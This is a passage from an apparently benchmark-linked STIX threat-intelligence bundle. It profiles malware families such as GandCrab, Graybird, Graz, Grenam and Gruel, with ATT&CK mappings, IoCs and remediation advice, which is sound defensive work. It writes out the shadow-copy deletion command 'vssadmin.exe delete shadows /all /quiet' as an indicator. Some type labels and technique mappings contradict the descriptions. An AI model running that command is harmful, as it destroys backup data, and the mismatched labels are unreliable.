      "description": "Ransomware:Win32/GandCrab (often detected as GrandCrab) is one of the most historically significant Ransomware-as-a-Service (RaaS) operations to ever exist. Active primarily from early 2018 to mid-2019, the GandCrab operators claimed to have extorted over $2 billion before formally announcing their 'retirement.' GandCrab pioneered the highly structured, affiliate-based RaaS business model, where core developers maintained the malware and payment portals, while 'affiliates' were responsible for breaching networks (`T1190`) and deploying the payload in exchange for a percentage of the ransom (`T1486`).<br><br><b>Understanding GandCrab (The Rise of RaaS)</b><br>To an infected organization, GandCrab was devastating, encrypting servers and demanding payment via Dash or Bitcoin on a Tor-hosted portal. For threat intelligence analysts, GandCrab represents the industrialization of ransomware. When the operators 'retired', the affiliate network did not vanish; highly credible evidence suggests the core team and top affiliates immediately transitioned to form the notorious REvil (Sodinokibi) cartel.<br><br><b>Execution and Evasion Mechanics</b><br>Because GandCrab relied on affiliates, the initial access vectors varied wildly: RDP brute-forcing (`T1133`), massive malspam campaigns (often using Emotet or Trickbot loaders) (`T1566.001`), and exploit kits (like RIG and GrandSoft). Once on a network, affiliates utilized tools like Cobalt Strike and BloodHound for lateral movement. The GandCrab executable itself utilized custom packing and 'process hollowing' (`T1055.012`) to evade AV. It terminated database and backup processes (`T1490`) before using Salsa20 and RSA-2048 to encrypt files, appending extensions like `.GDCB`, `.CRAB`, or a randomized string depending on the version.<br><br><b>Indicators of Compromise & Impact</b><br>The impact was catastrophic data loss and severe business interruption. Host-based IoCs include files appended with the GandCrab extensions, the presence of ransom notes (e.g., `GANDCRAB-DECRYPT.txt`), and the execution of commands designed to delete Volume Shadow Copies (`vssadmin.exe delete shadows /all /quiet`). Network IoCs include connections to known GandCrab Tor domains via the Tor proxy network for payment negotiation. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Grandcrab",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/grandcrab"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c74e19cd-74ff-523a-95d2-428c490f55e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62ab7d28-356a-57ce-a586-552582ad02e6",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grandcrab exhibits technique T1486 (Data Encrypted for Impact (The core ransomware payload, constantly updated by the RaaS operators))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1d3f699-3af3-5c07-83a0-aed9dffd408e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62ab7d28-356a-57ce-a586-552582ad02e6",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grandcrab exhibits technique T1133 (External Remote Services (A primary entry vector for affiliates via exposed RDP))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7dfc825-19ab-5337-91c9-71e697d4271b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62ab7d28-356a-57ce-a586-552582ad02e6",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grandcrab exhibits technique T1490 (Inhibit System Recovery (Deleting shadow copies and backups prior to encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--294fd259-9539-57a5-8251-d989652cb330",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62ab7d28-356a-57ce-a586-552582ad02e6",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grandcrab exhibits technique T1055.012 (Process Injection: Process Hollowing (Used heavily in later versions for defense evasion))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--99dd2279-2b1d-565d-91e8-257777170e25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Grandcrap",
      "description": "<h3>Executive Summary</h3>\nGrandcrap (often a detection alias or misspelling of the highly notorious <strong>GandCrab</strong> ransomware family) represents a severe Ransomware-as-a-Service (RaaS) threat. GandCrab/Grandcrap operators specialize in infiltrating corporate networks, encrypting critical business data with strong cryptographic algorithms (typically RSA-2048 and AES-256), and demanding significant cryptocurrency ransoms in exchange for the decryption keys.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nAs a RaaS operation, distribution methods vary wildly based on the specific \"affiliate\" deploying it. Common vectors include highly targeted spear-phishing campaigns, the exploitation of vulnerable internet-facing services (like unpatched RDP or VPN gateways), and the utilization of exploit kits (such as RIG EK).\n\nUpon execution, Grandcrap focuses on rapid, total data denial:\n<ul>\n<li><strong>Shadow Copy Deletion:</strong> The ransomware immediately executes `vssadmin.exe Delete Shadows /All /Quiet` and utilizes WMIC to destroy Windows Volume Shadow Copies, preventing trivial file restoration.</li>\n<li><strong>Rapid Encryption:</strong> Grandcrap scans all local drives, mapped network shares, and connected removable media. It encrypts user files (documents, databases, images) while intentionally avoiding critical system files to ensure the OS remains stable enough to display the ransom note.</li>\n<li><strong>Extortion:</strong> It drops ransom notes (often named `[random]-DECRYPT.txt`) in every encrypted directory and frequently changes the desktop wallpaper to instruct the victim to access a Tor-based payment portal to negotiate the ransom.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Grandcrap ransomware infection is a \"Code Red\" security crisis. It results in immediate, widespread disruption of business operations. If backups are not properly segmented and are also encrypted, the incident can lead to catastrophic data loss and massive financial impact.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Severance:</strong> Isolate all infected endpoints and servers instantly. The encryption process can spread rapidly across network shares. Do NOT simply reboot the machines, as this may trigger further malicious routines or destroy volatile memory forensics.</li>\n<li><strong>Engage Incident Response:</strong> Activate the corporate Incident Response plan. Preserve a forensic image of the encrypted machines before attempting any restoration.</li>\n<li><strong>Restore from Immutable Backups:</strong> Do not pay the ransom unless absolutely necessary (and after consulting legal counsel). The primary recovery method must be a complete bare-metal wipe of the infected infrastructure followed by restoration from offline, immutable, and verified backups.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.GandCrab",
        "Ransom.Grandcrap",
        "Win32/GandCrab"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Grandcrap",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/grandcrap"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c6db471-58fe-5083-876d-d6f1efed1527",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99dd2279-2b1d-565d-91e8-257777170e25",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grandcrap exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3c621fa-b981-57a0-b3df-e2ab4a212cdc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99dd2279-2b1d-565d-91e8-257777170e25",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grandcrap exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66a8dd75-ab07-5583-a03e-706ec505a2c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99dd2279-2b1d-565d-91e8-257777170e25",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grandcrap exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12ebb3ec-0cda-5411-a5f2-a73c8ae5d619",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99dd2279-2b1d-565d-91e8-257777170e25",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grandcrap exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2efde79d-836b-5dc1-89b6-c4e8be59d73c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Graybird",
      "description": "Trojan:Win32/Graybird is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Graybird</b><br>To an end-user, a Graybird infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Graybird is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Graybird is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Graybird frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Graybird reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Graybird",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/graybird"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c542ad2-cf7d-57aa-8bf0-246c4269095f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2efde79d-836b-5dc1-89b6-c4e8be59d73c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Graybird exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0dd39eea-570d-5936-8986-9535ceba3ce4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2efde79d-836b-5dc1-89b6-c4e8be59d73c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Graybird exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54af72c5-a7fd-5c41-81f8-f07464c6af53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2efde79d-836b-5dc1-89b6-c4e8be59d73c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Graybird exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e421ce3-264c-5944-bff4-0c80b30a8f62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2efde79d-836b-5dc1-89b6-c4e8be59d73c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Graybird exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d0f802e-c4c1-5624-81e0-ef0eeaad69e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2efde79d-836b-5dc1-89b6-c4e8be59d73c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Graybird exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9955d8de-650e-5cc7-89ff-82a11ca07004",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Graz",
      "description": "<h3>Executive Summary</h3>\nGraz is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGraz is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Graz operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Graz ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Graz receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Graz infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Graz executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Graz frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Graz",
        "Downloader.Graz",
        "Win32/Graz"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Graz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/graz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--207da9d1-7986-552d-be55-d68455bf17cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9955d8de-650e-5cc7-89ff-82a11ca07004",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Graz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c703e3e3-6582-5f12-b2f7-4200773c5edc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9955d8de-650e-5cc7-89ff-82a11ca07004",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Graz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--367ea9e5-ecb7-5071-96c0-af2d70b4ae1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9955d8de-650e-5cc7-89ff-82a11ca07004",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Graz exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ea1e88f0-c396-52e1-bf65-735239433880",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Grenam",
      "description": "Worm:Win32/Grenam (also known as a generic network worm or **File Infector**) is a self-replicating malware family that aggressively spreads across network shares and removable media. While older, its mechanics are highly destructive. Beyond propagation, Grenam acts as a polymorphic File Infector (`.exe` and `.dll` files), physically altering legitimate binaries to embed its malicious code, ensuring maximum persistence and complicating remediation.<br><br><b>Understanding the Grenam Worm</b><br>To an infected user, the computer might become highly unstable, and antivirus engines will suddenly start quarantining hundreds of previously safe programs. For security analysts, Grenam represents a severe incident. Because it alters legitimate system files, manually deleting the 'infected' files will destroy the operating system or the user's installed applications. The network worm aspect means the infection will rapidly spread to any unprotected node on the LAN.<br><br><b>Propagation and File Infection Mechanics</b><br>The infection cycle often begins via an infected USB drive (`T1091`) or an open network share (`T1080`). Upon execution (`T1204.002`), Grenam establishes persistence via multiple Registry Run keys. It begins scanning the local network for vulnerable SMB shares to copy itself into. Concurrently, it acts as a File Infector (`T1055.001`), searching the hard drive for executable files (`.exe`, `.scr`). It opens the target file, modifies the PE header, and appends its malicious, often polymorphically packed code. It then alters the entry point of the executable to point to the viral code. When the user later runs the 'infected' legitimate application, the worm code executes first, infects more files, and then passes control back to the legitimate application.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the widespread corruption of executable files, severe system instability, and network congestion. The most glaring IoC is an avalanche of EDR alerts indicating that hundreds of distinct, legitimate executables across the `C:\\` drive have changed their file hashes and sizes. Network logs will show a massive spike in SMB (Port 445) traffic as the worm attempts lateral movement. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Grenam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/grenam"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6084e33-7e45-53f2-bd66-2f12d4282239",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea1e88f0-c396-52e1-bf65-735239433880",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grenam exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (File Infection logic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--717ea412-af84-5c88-8de7-a4c072f3bf8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea1e88f0-c396-52e1-bf65-735239433880",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grenam exhibits technique T1091 (Replication Through Removable Media (USB worm propagation))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--234da3df-9f9b-50d4-9775-e621938b35a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1080: Taint Shared Content (Spreading via SMB shares)",
      "description": "MITRE ATT&CK Technique T1080 (Taint Shared Content (Spreading via SMB shares)) under tactic Lateral Movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1080",
          "url": "https://attack.mitre.org/techniques/T1080/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcb65f68-6f88-56b6-8383-875e5a60ba31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea1e88f0-c396-52e1-bf65-735239433880",
      "target_ref": "attack-pattern--234da3df-9f9b-50d4-9775-e621938b35a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grenam exhibits technique T1080 (Taint Shared Content (Spreading via SMB shares))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a663610-6aa0-51aa-82fe-0353d2d1e80f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea1e88f0-c396-52e1-bf65-735239433880",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Grenam exhibits technique T1083 (File and Directory Discovery (Searching for executables to infect))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2b574d96-4bef-502a-8703-629c5e71f979",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gruel",
      "description": "<h3>Executive Summary</h3>\nGruel is a classic, highly destructive Worm and Virus dating back to the early 2000s. Often categorized as \"joke\" or \"nuisance\" malware due to its bizarre and taunting payloads, Gruel is actually profoundly damaging to the operating system. It was designed not for financial gain, but for pure vandalism, severely degrading system usability and actively taunting the victim with fabricated error messages and unclosable pop-ups.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGruel predominantly spread via peer-to-peer (P2P) file-sharing networks (like Kazaa or Limewire), often masquerading as a popular software crack, keygen, or media file.\n\nUpon execution, Gruel immediately unleashed a barrage of disruptive payloads:\n<ul>\n<li><strong>System Vandalism (CD-ROM/Mouse):</strong> The virus frequently interacted directly with hardware, continuously opening and closing the CD-ROM tray, reversing the mouse button clicks, or causing the cursor to move erratically, making the computer physically difficult to use.</li>\n<li><strong>Psychological Harassment:</strong> Gruel was infamous for displaying endless, unclosable message boxes containing bizarre rants, insults directed at the user, or fake Windows error messages (e.g., \"Your computer is now mine\").</li>\n<li><strong>System Crippling:</strong> To prevent its removal, Gruel aggressively targeted core Windows utilities. It disabled Task Manager, Registry Editor (regedit), and the Command Prompt. It often removed the \"Run\" command from the Start Menu and altered file associations so that legitimate executables would launch the virus instead.</li>\n<li><strong>Worm Propagation:</strong> Gruel attempted to copy itself to all available local drives and mapped network shares, placing its executable in startup folders to ensure rapid reinfection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Gruel is considered an obsolete threat in modern, hardened enterprise environments, it remains a stark example of purely destructive malware. An infection results in a completely unusable endpoint, requiring a total system rebuild.\n\n<h3>Historical Remediation</h3>\n<ul>\n<li><strong>Safe Mode Recovery:</strong> Because Gruel actively disabled all administrative tools in the standard user session, remediation almost always required booting into Safe Mode (or utilizing offline boot disks) to manually restore the registry keys and delete the viral executables.</li>\n<li><strong>System Re-imaging:</strong> Due to the extensive and erratic modifications made to the registry and file associations, the most reliable method of recovery was often a complete format and reinstallation of the operating system.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Gruel",
        "Joke.Gruel",
        "W32/Gruel"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gruel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gruel"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38b153e1-b610-593b-b43c-a4698be37feb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b574d96-4bef-502a-8703-629c5e71f979",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gruel exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc47f178-07a8-5a43-a194-142cbdafb843",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b574d96-4bef-502a-8703-629c5e71f979",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gruel exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e9dde6e-adc6-5662-a9fb-6bf3a021e231",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b574d96-4bef-502a-8703-629c5e71f979",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gruel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e6f2269-0b8f-5b2e-9ecb-ebbcb897ad5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b574d96-4bef-502a-8703-629c5e71f979",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gruel exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--19902160-fefc-56df-8b69-e80e342d9d0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gt32Supportgeeks",
